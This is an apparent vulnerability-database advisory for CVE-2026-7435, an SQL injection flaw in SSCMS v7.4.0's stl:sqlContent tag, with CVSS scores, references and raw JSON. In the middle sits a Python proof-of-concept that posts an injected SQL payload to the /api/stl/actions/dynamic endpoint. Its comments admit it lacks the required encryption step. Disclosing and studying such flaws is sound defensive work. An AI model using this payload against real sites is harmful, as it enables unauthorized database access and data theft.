Security Vulnerability Report
中文
CVE-2026-7435 CVSS 7.2 HIGH

CVE-2026-7435

Published: 2026-04-30 21:16:34
Last Modified: 2026-05-04 14:16:37

Description

SSCMS v7.4.0 contains a SQL injection vulnerability in the stl:sqlContent tag where the queryString attribute is passed directly to database execution without parameterization or sanitization. Attackers can craft encrypted payloads submitted to the /api/stl/actions/dynamic endpoint to execute arbitrary SQL statements, leading to unauthorized database access, data disclosure, authentication bypass, data modification, or complete database compromise.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

SSCMS v7.4.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # Conceptual Proof of Concept for CVE-2026-7435 # This script demonstrates the structure of the exploit request. # Note: SSCCMS requires the payload to be encrypted using the site's specific key. # This example assumes the attacker has the encryption capability or key. target_url = "http://target-site/api/stl/actions/dynamic" # Malicious SQL payload intended to be injected into the queryString attribute # Example: Extracting the database version sql_payload = "SELECT 1, @@version, 3, 4, 5;--" # Construct the template content containing the vulnerable tag # The stl:sqlContent tag processes the queryString directly stl_template = f"<stl:sqlContent queryString=\"{sql_payload}\"></stl:sqlContent>" # In a real scenario, the 'stl_template' string and other parameters need to be # encrypted according to the SSCCMS encryption algorithm (usually AES). # encrypted_body = encrypt_payload(stl_template) # For demonstration, we send the structure (actual exploitation requires encryption) payload = { "siteId": "1", "channelId": "1", "template": stl_template } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } try: # The actual endpoint might require the payload to be in a specific encrypted format response = requests.post(target_url, data=json.dumps(payload), headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response body:") print(response.text) # Analyze response to confirm SQL execution (e.g., looking for version string in output) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-7435", "sourceIdentifier": "[email protected]", "published": "2026-04-30T21:16:34.100", "lastModified": "2026-05-04T14:16:36.650", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "SSCMS v7.4.0 contains a SQL injection vulnerability in the stl:sqlContent tag where the queryString attribute is passed directly to database execution without parameterization or sanitization. Attackers can craft encrypted payloads submitted to the /api/stl/actions/dynamic endpoint to execute arbitrary SQL statements, leading to unauthorized database access, data disclosure, authentication bypass, data modification, or complete database compromise."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://github.com/siteserver/cms", "source": "[email protected]"}, {"url": "https://github.com/siteserver/cms/issues/3891", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/sscms-sql-injection-via-stl-sqlcontent-querystring", "source": "[email protected]"}, {"url": "https://github.com/siteserver/cms/issues/3891", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}